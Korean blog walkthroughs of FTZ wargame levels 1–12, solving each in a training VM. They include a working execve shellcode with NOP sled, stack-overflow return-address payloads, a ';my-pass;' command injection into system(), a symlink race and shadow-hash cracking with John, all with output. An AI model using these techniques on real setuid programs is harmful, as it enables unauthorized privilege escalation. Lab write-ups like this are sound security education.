level11에서는 입력을 ./attackme `python -c 'print "A"'` 형식으로 입력했는데 이는 argv[1]을 입력받기에 그런 것이다.

level12에서는 gets 함수로 입력을 받기에 level11처럼 할 순 없다. gets 함수에 입력값을 전달하는 과정을 보자.

쉘에서 A프로그램|B프로그램의 의미는 A프로그램의 출력을 B프로그램의 입력으로 전달하라는 것이다.

A프로그램;B프로그램의 의미는 A프로그램을 실행 후 B프로그램을 실행하라는 것이다. A프로그램의 실행은 실패해도 B프로그램은 실행된다.

종합해 보면 python ~~ 명령을 실행 후 cat를 실행하는 구조이다. python 명령을 실행하여 뒤에 전달된 문자열들이 출력되는데 | 때문에 attackme에 입력값으로 전달된다. 따라서 gets 함수가 이를 입력받을 수 있는 것이다. ;cat를 사용해야 하는 이유는 쉘코드가 실행된 후에 입력값을 키보드로 전달하기 위함이다. cat 명령을 bash쉘에서 실행하면 내가 입력하는 값이 그대로 출력되는 것을 볼 수 있다. 따라서 ;cat | ../attackme를 통해 내가 입력한 값들을 attackme에 전달할 수 있는 것이다.

python -c 'print "A"*268+"\x69\xfe\xff\xbf"' 에서 \x69\xfe\xff\xbf 순서로 입력하는 이유는 리틀엔디안이라서 그렇다. 이렇게 전달하면 메모리상에는 bffffe69로 나타나는 것을 gdb를 통해 확인할 수 있다. 참고로 0xbf가 더 큰 주솟값을 가진다.

setuid가 설정되어 있기에 attackme 실행 시 euid가 level13이 되며 setreuid 함수를 통해 ruid와 euid를 level13으로 설정할 수 있다. 그 후에 main 함수 종료 시 retn 주소에 등록한 쉘 코드(환경 변수) 주소로 이동하여 쉘 코드를 실행한다. 현재 우리의 ruid와 euid는 level13이며 이때 my-pass를 입력하면 level13의 비밀번호가 출력된다. 참고로 쉘 코드가 실행되어도 AAAA... 가 출력 후 입력을 기다리는 상태로 있기에 쉘 실행이 티 나지 않아도 my-pass를 입력하면 된다.

level11과 12에서 bof의 기본 입력방식을 터득했다. 앞으론 이를 이용만 하면 된다.

level13의 비밀번호: have no clue

728x90

'FTZ' 카테고리의 다른 글

level14  (0) 2023.01.19
level13  (0) 2023.01.19
level11  (0) 2023.01.09
level10  (0) 2023.01.08
level9  (0) 2023.01.08
728x90
// attackme 소스 코드
#include <stdio.h>
#include <stdlib.h>
 
int main( int argc, char *argv[] )
{
	char str[256];

 	setreuid( 3092, 3092 );
	strcpy( str, argv[1] );
	printf( str );
}
[level11@ftz tmp]$ export sh=`python -c 'print "\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
[level11@ftz tmp]$ cat > getsh.c
#include <stdio.h>
main(){
printf("%p\n",getenv("sh")); //환경 변수 주소 획득
}
[level11@ftz tmp]$ gcc getsh.c -o getsh
[level11@ftz tmp]$ ./getsh
0xbffffeb1
[level11@ftz tmp]$ ../attackme `python -c 'print "A"*268+"\xb1\xfe\xff\xbf"'`
sh-2.05b$ my-pass
TERM environment variable not set.

Level12 Password is "it is like this".

sh-2.05b$

쉘 코드를 환경변수로 등록해서 환경 변수의 주소로 버퍼오버플로우 공격을 하면 된다.

export로 환경 변수를 등록한다. \x90은 NOP(no operation)을 의미한다. CPU는 NOP을 만나면 연산을 하지 않고 유효한 명령어를 만날 때까지 지나간다. 이런 방식을 NOP Sled 기법이라 한다. NOP을 안 넣으면 실행이 안된다. 이유는 정확히 모르겠다.

NOP를 30개와 쉘 코드를 환경 변수 sh에 등록하였다.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

위의 쉘 코드는 구글링 해서 25 bytes 찾았다. attackme의 소스 코드에 setreuid 함수가 존재하기에 쉘 코드에는 필요 없다. setreuid가 있어야만 쉘 코드를 level12 권한으로 실행할 수 있다.

`python -c 'print "A"*268+"\xb1\xfe\xff\xbf"'`

명령어를 살펴보자.

쉘에서 ``는 $()와 같은 기능을 한다. `명령어` or $(명령어)는 명령어를 실행하여 나온 결과를 출력한다.

bash 쉘에서 `ls`를 입력하면 ls 결과 출력하고 결과물을 bash 쉘에서 입력으로 받는데 ls 결과는 파일 리스트이므로 이런 명령을 해석하지 못해 bash 쉘은 에러를 반환한다.

-c 옵션은 command line argument로 코드를 받아서 실행해주는 옵션이다.

"A"*268 즉 AAA...AA 총 268개를 의미한다. 268개를 입력해야 ebp-264부터 ebp까지를 "A"로 채울 수 있다.

그다음 이어서 return 할 주소의 위치가 등장한다.

../attakme의 인자로 쓰면 AAA...AA????가 된다. ????는 순차적으로 0xb1에 해당하는 문자, 0xfe에 해당하는 문자.. 이런 식이다. 정확한 문자는 모르고 의미도 없다. 결국 attackme의 인자로 들어가고 gdb로 들여다보면 0xbffffeb1이 저장된다.

\xb1\xfexff\xbf를 전달하는데 0xbffffeb1처럼 거꾸로 저장되는 이유는 리틀엔디안을 따르기 때문이다.

설명하지 않은 용어들은 검색해 보자.

아래는 gdb를 이용해서 내부를 들여다본 과정이다. argv를 인자로 받는 과정에서 스택에 어떤 식으로 저장되는지 알 수 있다. (gdb를 이용해 main 함수의 소스코드를 보려면 level12의 홈 디렉터리의 tmp 폴더로 attackme 실행파일을 복사한다. 그렇지 않으면 attackme엔 setuid가 걸려있어 어셈블리 코드를 볼 수 없다.)

[level11@ftz tmp]$ gdb ./a.out -q
(gdb) b main
Breakpoint 1 at 0x804839d
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048394 <main+0>:	push   ebp
0x08048395 <main+1>:	mov    ebp,esp
0x08048397 <main+3>:	sub    esp,0x108  //ebp-264
0x0804839d <main+9>:	and    esp,0xfffffff0
0x080483a0 <main+12>:	mov    eax,0x0
0x080483a5 <main+17>:	sub    esp,eax
0x080483a7 <main+19>:	sub    esp,0x8
0x080483aa <main+22>:	push   0xc14
0x080483af <main+27>:	push   0xc14
0x080483b4 <main+32>:	call   0x80482c4 <setreuid>
0x080483b9 <main+37>:	add    esp,0x10
0x080483bc <main+40>:	sub    esp,0x8
0x080483bf <main+43>:	mov    eax,DWORD PTR [ebp+12]  //argv 주소(자세한건 아래)
0x080483c2 <main+46>:	add    eax,0x4 //argv[1] 주소(자세한건 아래) 
0x080483c5 <main+49>:	push   DWORD PTR [eax]  //argv[1]
0x080483c7 <main+51>:	lea    eax,[ebp-264]  //str 배열 위치
0x080483cd <main+57>:	push   eax
0x080483ce <main+58>:	call   0x80482d4 <strcpy>
0x080483d3 <main+63>:	add    esp,0x10
0x080483d6 <main+66>:	sub    esp,0xc
0x080483d9 <main+69>:	lea    eax,[ebp-264]
0x080483df <main+75>:	push   eax
0x080483e0 <main+76>:	call   0x80482b4 <printf>
---Type <return> to continue, or q <return> to quit---       
0x080483e5 <main+81>:	add    esp,0x10
0x080483e8 <main+84>:	leave  
0x080483e9 <main+85>:	ret    
0x080483ea <main+86>:	nop    
0x080483eb <main+87>:	nop    
End of assembler dump.
(gdb) b *main+51
Breakpoint 2 at 0x80483c7
(gdb) r `python -c 'print "BCDEFGHI"+"A"*260+"\xb1\xfe\xff\xbf"'`
Starting program: /home/level11/tmp/a.out `python -c 'print "BCDEFGHI"+"A"*260+"\xb1\xfe\xff\xbf"'`

Breakpoint 1, 0x0804839d in main ()
(gdb) c
Continuing.
0x080483ce in main ()
(gdb) ni
0x080483d3 in main ()
(gdb) x/68x 0xbffff110
0xbffff110:	0x45444342	0x49484746	0x41414141	0x41414141
0xbffff120:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff130:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff140:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff150:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff160:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff170:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff180:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff190:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff1a0:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff1b0:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff1c0:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff1d0:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff1e0:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff1f0:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff200:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff210:	0x41414141	0x41414141	0x41414141	0xbffffeb1  //환경 변수(쉘 코드)주소
(gdb) i r ebp
ebp            0xbffff218	0xbffff218
(gdb) x/x 0xbffff224  //ebp+12주소에 저장된 값. argv의 주소값. &argv
0xbffff224:	0xbffff264  //argv
(gdb) x/x 0xbffff268  //argv+4 즉, argv[1]의 주소값. &argv[1]
0xbffff268:	0xbffffaed //argv[1]
(gdb) x/x 0xbffffaed  //"BCDE"의 주소값. argv[1]
0xbffffaed:	0x45444342  //"BCDE"
(gdb) x/20x 0xbffffaed
0xbffffaed:	0x45444342	0x49484746	0x41414141	0x41414141
0xbffffafd:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffb0d:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffb1d:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffb2d:	0x41414141	0x41414141	0x41414141	0x41414141
(gdb) x/x 0xbffff264
0xbffff264:	0xbffffad5
(gdb) x/s 0xbffffad5
0xbffffad5:	 "/home/level11/tmp/a.out"
(gdb) x/s 0xbffffaed
0xbffffaed:	 "BCDEFGHI", 'A' <repeats 192 times>...
(gdb) q
The program is running.  Exit anyway? (y or n) y

level12의 password: it is like this

728x90

'FTZ' 카테고리의 다른 글

level13  (0) 2023.01.19
level12  (0) 2023.01.19
level10  (0) 2023.01.08
level9  (0) 2023.01.08
level8  (0) 2023.01.08
728x90
[level10@ftz level10]$ cat hint


두명의 사용자가 대화방을 이용하여 비밀스런 대화를 나누고 있다.
그 대화방은 공유 메모리를 이용하여 만들어졌으며, 
key_t의 값은 7530이다. 이를 이용해 두 사람의 대화를 도청하여 
level11의 권한을 얻어라.

- 레벨을 완료하셨다면 소스는 지우고 나가주세요.

공유 메모리에 접근해서 데이터를 읽어오면 된다.

각 프로세스는 메모리에 자신들의 code, data, heap, stack을 가진다.

공유 메모리는 말 그대로 프로세스들이 공유하는 메모리다.

[level10@ftz tmp]$ ipcs -m

------ Shared Memory Segments --------
key        shmid      owner      perms      bytes      nattch     status      
0x00001d6a 0          root      666        1028       0

key 값이 7530인 공유 메모리가 존재함을 알 수 있다.

구글링해서 공유 메모리에 접근하는 방법을 알아냈다.

#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/types.h>
#include <stdio.h>
int main(){
        int id=shmget(7530,1028,IPC_CREAT|0666);
        char* str=(char*)shmat(id,NULL,SHM_RDONLY);
        printf(str);
}

shmget은 공유메모리의 id를 구하는 함수다.

shmat는 id에 해당하는 공유 메모리의 주소를 알려준다.

https://unabated.tistory.com/entry/shmget-shmat-shmdt-%EA%B3%B5%EC%9C%A0%EB%A9%94%EB%AA%A8%EB%A6%AC-%EA%B3%B5%EA%B0%84-%ED%95%A0%EB%8B%B9%EC%B2%A8%EB%B6%80%EB%B6%84%EB%A6%AC

 

shmget(), shmat(), shmdt() - 공유메모리 공간 할당/첨부/분리

리눅스에서 공유메모리를 출력해주는 명령어 ipcs -m: ■ 개념 공유메모리는 단어 뜻에서 알 수 있듯이 하나의 프로세스에서가 아니라 여러 프로세스가 함께 사용하는 메모리를 말한다. 이 공유

unabated.tistory.com

위의 링크를 참조했다.

위의 코드를 컴파일하면 level11의 비밀번호가 나온다.

[level10@ftz tmp]$ gcc test.c
[level10@ftz tmp]$ ./a.out
멍멍: level11의 패스워드는?
구타: what!@#$?
728x90

'FTZ' 카테고리의 다른 글

level12  (0) 2023.01.19
level11  (0) 2023.01.09
level9  (0) 2023.01.08
level8  (0) 2023.01.08
level7  (0) 2023.01.08
728x90
[level9@ftz tmp]$ cat ../hint


다음은 /usr/bin/bof의 소스이다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
main(){
 
  char buf2[10];
  char buf[10];
 
  printf("It can be overflow : ");
  fgets(buf,40,stdin);
 
  if ( strncmp(buf2, "go", 2) == 0 )
   {
        printf("Good Skill!\n");
        setreuid( 3010, 3010 );
        system("/bin/bash");
   }
 
}

버퍼오버플로우 문제이다.

내가 입력한 값이 buf를 넘어 buf2에 go를 저장해야 한다.

gdb /usr/bin/bof를 해도 권한이 없는지 디버깅이 안된다.

/usr/bin/bof를 cp 명령으로 복사하는 것도 안된다.

level10의 tmp 폴더를 이용하자. tmp 폴더는 맘껏 사용하라고 제공되는 연습공간이다.

소스코드를 오른쪽 마우스로 복사하여 vi 에디터를 열고 붙여 넣자.

gcc bof.c -o bof 명령을 입력하여 컴파일 후 bof라는 실행파일을 만든다.

gdb bof -q는 bof 실행파일에 대해 gdb를 실행한다. -q는 gdb 실행할 때 출력되는 값들이 안 나오게 해 준다.

set disassembly-flavor intel로 at&t 어셈블리어를 intel 어셈블리어로 바꾼다.

0x08048433 <main+19>:	push   0x8048554
0x08048438 <main+24>:	call   0x8048350 <printf>
0x0804843d <main+29>:	add    esp,0x10
0x08048440 <main+32>:	sub    esp,0x4
0x08048443 <main+35>:	push   ds:0x8049698	///fgets의 인자 stdin
0x08048449 <main+41>:	push   0x28		///fgets의 인자 40
0x0804844b <main+43>:	lea    eax,[ebp-40]	///fgets의 인자 buf의 주소는 ebp-40
0x0804844e <main+46>:	push   eax						
0x0804844f <main+47>:	call   0x8048320 <fgets>		
0x08048454 <main+52>:	add    esp,0x10
0x08048457 <main+55>:	sub    esp,0x4
0x0804845a <main+58>:	push   0x2		///strncmp의 인자 2
0x0804845c <main+60>:	push   0x804856a	///strncmp의 인자 go
0x08048461 <main+65>:	lea    eax,[ebp-24]	///strncmp의 인자 buf2의 주소 ebp-24
0x08048464 <main+68>:	push   eax
0x08048465 <main+69>:	call   0x8048330 <strncmp>
---Type <return> to continue, or q <return> to quit---
0x0804846a <main+74>:	add    esp,0x10
0x0804846d <main+77>:	test   eax,eax
0x0804846f <main+79>:	jne    0x80484a6 <main+134>
0x08048471 <main+81>:	sub    esp,0xc
0x08048474 <main+84>:	push   0x804856d
0x08048479 <main+89>:	call   0x8048350 <printf>
0x0804847e <main+94>:	add    esp,0x10
0x08048481 <main+97>:	sub    esp,0x8

함수의 인자는 뒤에서부터 먼저 스택에 들어간다.

ebp-40이 buf의 주소다.

ebp-24이 buf2의 주소다.

fgets함수는 buf에 내 입력값을 저장한다. 난 buf의 10 bytes 범위를 넘겨 6 bytes를 더 입력하여 buf2에 도달하는 게 목표다.

/usr/bin/bof를 실행한다. ebp-40부터 ebp-24까지 16 bytes를 임의의 문자들로 채우고, 추가로 2 bytes의 go를 입력하여 buf2의 앞부분을 채운다. buf2의 2 bytes가 "go"와 같아야 되기 때문이다. 둘이 같으면 strncmp 함수가 0을 반환한다.

서로 같다면 setreuid(3010,3010)을 통해 ruid와 euid가 level10이 되고 level10의 권한으로 /bin/bash를 실행할 수 있다.

[level9@ftz level9]$ /usr/bin/bof
It can be overflow : 0123456789012345go
Good Skill!
[level10@ftz level9]$ my-pass

Level10 Password is "interesting to hack!".

 

 

728x90

'FTZ' 카테고리의 다른 글

level11  (0) 2023.01.09
level10  (0) 2023.01.08
level8  (0) 2023.01.08
level7  (0) 2023.01.08
level6  (0) 2023.01.08
728x90
level9의 shadow 파일이 서버 어딘가에 숨어있다.
그 파일에 대해 알려진 것은 용량이 "2700"이라는 것 뿐이다.

find / -size 2700c 2>/dev/null

위의 명령어 실행 결과 /etc/rc.d/found.txt 파일이 나온다.

/etc/rc.d/found.txt 내용은 level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524이다.

shadow 파일 형식이다.

id:패스워드:마지막 패스워드 변경 날짜:패스워드 최소 사용 기간: 패스워드 최대 사용 기간:패스워드 만료 이전 경고일 수:패스워드 만료 이후 계정이 잠기기 전까지 비활성 일 수: 계정 만료일:예약 필드

https://reakwon.tistory.com/137

 

[리눅스] /etc/passwd, /etc/shadow 파헤치기, 각 필드에 대한 설명

/etc/passwd(사용자 정보) 보안이나 리눅스를 배우신다면 /etc/passwd에 대한 이해는 필수입니다. 정보보안기사 시험에도 당골손님이기도 하죠. /etc/passwd에는 시스템에 등록된 사용자의 정보들이 담겨

reakwon.tistory.com

위의 사이트에 잘 나와있다.

패스워드 부분을 kali linux에서 john the ripper 툴을 이용하여 크랙한다.

먼저 /etc/passwd 에서 level9에 해당하는 라인을 passwd.txt 파일에 복사한다.

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524 이대로 shadow.txt 파일에 복사한다.

unshadow passwd.txt shadow.txt > unshadowed.txt 명령을 입력한다.

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:3009:3009:Level 9:/home/level9:/bin/bash

위의 내용이 unshadowed.txt에 저장된다.

john unshadowed.txt를 입력하면 크랙된다.

https://erev0s.com/blog/cracking-etcshadow-john/

 

Cracking /etc/shadow with John

Learn how to crack /etc/shadow file using John the Ripper.

erev0s.com

위 사이트를 참고하였다.

┌──(root㉿kali)-[~]
└─# john unshadowed.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
apple            (level9)     
1g 0:00:00:00 DONE 2/3 (2023-01-08 07:07) 2.173g/s 17400p/s 17400c/s 17400C/s 123456..larry
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

답은 apple이라는 것을 알 수 있다.

728x90

'FTZ' 카테고리의 다른 글

level10  (0) 2023.01.08
level9  (0) 2023.01.08
level7  (0) 2023.01.08
level6  (0) 2023.01.08
level5  (0) 2023.01.08
728x90
/bin/level7 명령을 실행하면, 패스워드 입력을 요청한다.

1. 패스워드는 가까운곳에..
2. 상상력을 총동원하라.
3. 2진수를 10진수를 바꿀 수 있는가?
4. 계산기 설정을 공학용으로 바꾸어라.

/bin/level7을 실행하고 비밀번호를 아무거나 입력하면 다음과 같은 에러가 뜬다.

cat: /bin/wrong.txt: No such file or directory

과거엔 ftz 서버에 접속해서 문제를 풀었는데 이제는 개인이 주로 가상머신을 이용해 ftz 서버를 구축하고 문제를 풀기에 /bin/wrong.txt가 없다고 한다.

원래대로면 /bin/wrong.txt 파일의 내용은 다음과 같다.

--_--_- --____- ---_-__ --__-_-

2진수 얘기를 하는 거 보니 - : 1, _ : 0으로 변환해 보자.

--_--_- > 1101101(2) > 109(10)

--____- > 1100001(2) > 97(10)

---_-__ > 1110100(2) > 116(10)

--__-_- > 1100101(2) > 101(10)

7개씩 자르면 위와 같이 된다. 아스키코드에 해당하는 문자로 변환하면 다음과 같다.

참고로 아스키코드는 7bit로 표현되며 0~127까지의 값을 가진다.

mate

/bin/level7을 실행하여 mate를 입력하면 level8의 비밀번호가 나온다.

Congratulation! next password is "break the world".

 

728x90

'FTZ' 카테고리의 다른 글

level9  (0) 2023.01.08
level8  (0) 2023.01.08
level6  (0) 2023.01.08
level5  (0) 2023.01.08
level4  (0) 2023.01.08
728x90
hint - 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.
(엔터 입력함)

  #####################################
  ##                                 ##
  ##         텔넷 접속 서비스        ##
  ##                                 ##
  ##                                 ##
  ##     1. 하이텔     2. 나우누리   ##
  ##     3. 천리안                   ##
  ##                                 ##
  #####################################

접속하고 싶은 bbs를 선택하세요 :

이 상태에서 어떤 것을 골라도 반응이 없다.

hint가 떴을 때 ctrl+c를 입력한다. 그럼 level6 쉘을 얻는다.

ctrl+c는 SIGINT 시그널로서 터미널에서 보내는 인터럽트 신호이다.

작업을 중지시키는 신호이다. 일시정지가 아닌 중간에 작업을 종료시킨다.

[level6@ftz level6]$ cat password
Level7 password is "come together".
728x90

'FTZ' 카테고리의 다른 글

level8  (0) 2023.01.08
level7  (0) 2023.01.08
level5  (0) 2023.01.08
level4  (0) 2023.01.08
level3  (0) 2023.01.07
728x90
/usr/bin/level5 프로그램은 /tmp 디렉토리에
level5.tmp 라는 이름의 임시파일을 생성한다.

이를 이용하여 level6의 권한을 얻어라.

레이스 컨디션 공격의 형태이다.

lvl5라는 빈 파일을 만들고 level5.tmp를 심볼릭 링크로 lvl5를 가리키게 만든다.

/usr/bin/level5를 실행하면 level5.tmp를 생성 후 쓰는데 levle5.tmp는 lvl5를 가리키는 심볼릭 링크 파일이므로 lvl5에 쓰는 것과 마찬가지다.

/usr/bin/level5 실행 전과 후를 비교해보면 lvl5 파일의 용량이 0에서 31 bytes로 변한 것을 알 수 있다.

728x90

'FTZ' 카테고리의 다른 글

level7  (0) 2023.01.08
level6  (0) 2023.01.08
level4  (0) 2023.01.08
level3  (0) 2023.01.07
level2  (0) 2023.01.07
728x90
누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!

ls /etc/xined.d를 해보면 backdoor 파일이 있다.

service finger 
{
	disable	= no
	flags		= REUSE
	socket_type	= stream        
	wait		= no
	user		= level5
	server		= /home/level4/tmp/backdoor
	log_on_failure	+= USERID
}​

중요한 부분은 user과 server이다.

user: 서비스를 실행하는 사용자.

server: 서비스의 실행 파일 절대 경로.

더 궁금하면 아래 링크를 참고하자.

https://sungpil94.tistory.com/206

 

Linux_리눅스 Xinetd 슈퍼데몬

리눅스 Xinetd - 오라클 가상 머신 사용 - CentOS7 - Windows 10 - 데몬을 관리하는 데몬이다. ( 슈퍼 데몬 ) - inetd 에서 xinetd로 - 기존의 inetd 슈퍼데몬의 비효율적인 리소스 관리와 보안성 문제를 극복하

sungpil94.tistory.com

finger라는 서비스 요청 시 level5의 사용자 권한으로 /home/level4/tmp/backdoor 파일을 실행한다.

/home/level4/tmp 폴더로 이동 후 vi backdoor.c 명령으로 소스 파일을 만든다.

#include <stdlib.h>
main(){
	system("my-pass");
}

입력 후 gcc backdoor.c -o backdoor 명령어로 컴파일한다.

backdoor 파일이 생성된다.

finger @'현재 구동 중인 가상머신의 ftz 서버 ip'를 입력하면 backdoor가 실행되며 level5의 비밀번호가 나온다.

finger @localhost로 대체가능하다.

localhost는 결국 내 pc이므로 우리는 현재 xshell로 ftz서버에 접속해 있다. 따라서 ftz 서버를 가리킨다.

finger만 입력하면 명령어는 실행되지만 비밀번호는 나오지 않는다.

finger의 속성파일이 /etc/xinetd.d에 있었듯이 xinetd의 서비스이기에 네트워크를 통해 접속하는 요청이어야 하기 때문이다.

finger 명령어만 입력하면 단순히 내부 pc에서 실행된다.

[level4@ftz tmp]$ finger @192.168.93.128
^[[H^[[J
Level5 Password is "what is your name?".

[level4@ftz tmp]$ finger @localhost
^[[H^[[J
Level5 Password is "what is your name?".

혹시 비밀번호가 출력 안되면 몇 번 반복해서 시도해 보자.

728x90

'FTZ' 카테고리의 다른 글

level6  (0) 2023.01.08
level5  (0) 2023.01.08
level3  (0) 2023.01.07
level2  (0) 2023.01.07
level1  (1) 2023.01.07
728x90

cat hint를 입력하면 hint 파일이 출력된다.

다음 코드는 autodig의 소스이다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int main(int argc, char **argv){
 
    char cmd[100];
 
    if( argc!=2 ){
        printf( "Auto Digger Version 0.9\n" );
        printf( "Usage : %s host\n", argv[0] );
        exit(0);
    }
 
    strcpy( cmd, "dig @" );
    strcat( cmd, argv[1] );
    strcat( cmd, " version.bind chaos txt");
 
    system( cmd );
 
}

이를 이용하여 level4의 권한을 얻어라.

more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?

autodig 프로그램의 소스파일이다.

실행파일의 인자로 문자열 형태로 동시에 여러 명령어를 사용해야한다.

c언어 실행파일의 인자값에 다음과 같이 전달하면 된다.

실행파일 "ls;pwd" 이런식으로 전달하면 동시에 여러 명령어를 문자열 형태로 실행파일에 전달가능하다.

;가 명령어의 구분을 해주며 앞에서부터 순차적으로 실행시킨다.

find -user level4 -perm -4000

위의 명령어를 통해 level4 권한의 SetUID가 설정된 파일을 찾는다.

그래야 level4 권한을 이용해 명령어를 실행할 수 있다.

/bin/autodig라는 파일이 나온다.

/bin/autodig ";my-pass;"

위의 명령어를 입력하면 level4 권한으로 my-pass가 실행된다.

내가 입력한 ";my-pass;"는 cmd 배열에 다음과 같은 형태로 저장되고 cmd가 실행된다.

dig @;my-pass; version.bind chaos txt

dig @는 에러 발생한다.

이어서 my-pass가 실행된다. level4의 패스워드가 출력된다.

이어서 version.bind chaos txt가 실행되는데 이런 명령도 없다. 따라서 에러가 발생한다.

참고로 dig는 DNS 서버와 통신을 점검하는 명령이다.

dig @DNS 서버ip version.bind chaos txt 형태로 사용한다.

Level4 Password is "suck my brain".

 

 

728x90

'FTZ' 카테고리의 다른 글

level6  (0) 2023.01.08
level5  (0) 2023.01.08
level4  (0) 2023.01.08
level2  (0) 2023.01.07
level1  (1) 2023.01.07
728x90

cat hint를 입력하면 hint 텍스트 파일의 내용을 알 수 있다.

힌트 내용은 다음과 같다.

텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데...

텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데...

find / -user level3 -perm -4000 2> /dev/null

파일 소유자가 level3이고 SetUID가 설정된 파일을 찾는데 표준 에러는 출력되지 않게 하는 명령이다.

그 결과 /usr/bin/editor이 보인다.

/usr/bin/editor을 실행한다.

그럼 vim이 실행된다. vim에서 쉘 명령어를 실행하려면 다음과 같이 입력한다.

:! 쉘 명령어

그럼 level3의 권한으로 /usr/bin/editor이 실행되고 종료까지 유지되기에 level3의 권한으로 쉘 명령어를 실행할 수 있다.

:! my-pass

Level3 Password is "can you fly?".
728x90

'FTZ' 카테고리의 다른 글

level6  (0) 2023.01.08
level5  (0) 2023.01.08
level4  (0) 2023.01.08
level3  (0) 2023.01.07
level1  (1) 2023.01.07
728x90

trainer10 과정에서 id=level1 & pw=level1을 입력하면 level1에 로그인된다.

cat hint 명령어로 hint를 본다.

level2 권한에 setuid가 걸린 파일을 찾는다.

find / -user level2 -perm -4000 2>/dev/null

위의 명령어를 입력하면 파일이 나온다.

2>/dev/null에서 2는 표준 에러를 의미한다. 표준 에러를 /dev/null로 리다이렉션 시킨다.

그 결과 Permission denied라는 에러들은 /dev/null로 보내서 출력되지 않는다.

/dev/null은 블랙홀 같은 곳이다.

ls -l /bin/ExecuteMe

위의 명령어를 입력하면 level1도 실행권한이 있음을 알 수 있다.

/bin/ExecuteMe

명령어 입력 시 문구가 뜬다.  my-pass를 입력할 순 없다고 한다.

이때 /bin/bash를 입력한다. 그럼 level2의 권한으로 bash 쉘을 실행한다.

이제 my-pass 명령어를 입력해 level2의 비밀번호를 알아낸다.

my-pass 명령어는 비밀번호를 알 수 있는 ftz 자체 명령어다.(training 10에 나옴)

Level2 Password is "hacker or cracker"
728x90

'FTZ' 카테고리의 다른 글

level6  (0) 2023.01.08
level5  (0) 2023.01.08
level4  (0) 2023.01.08
level3  (0) 2023.01.07
level2  (0) 2023.01.07

+ Recent posts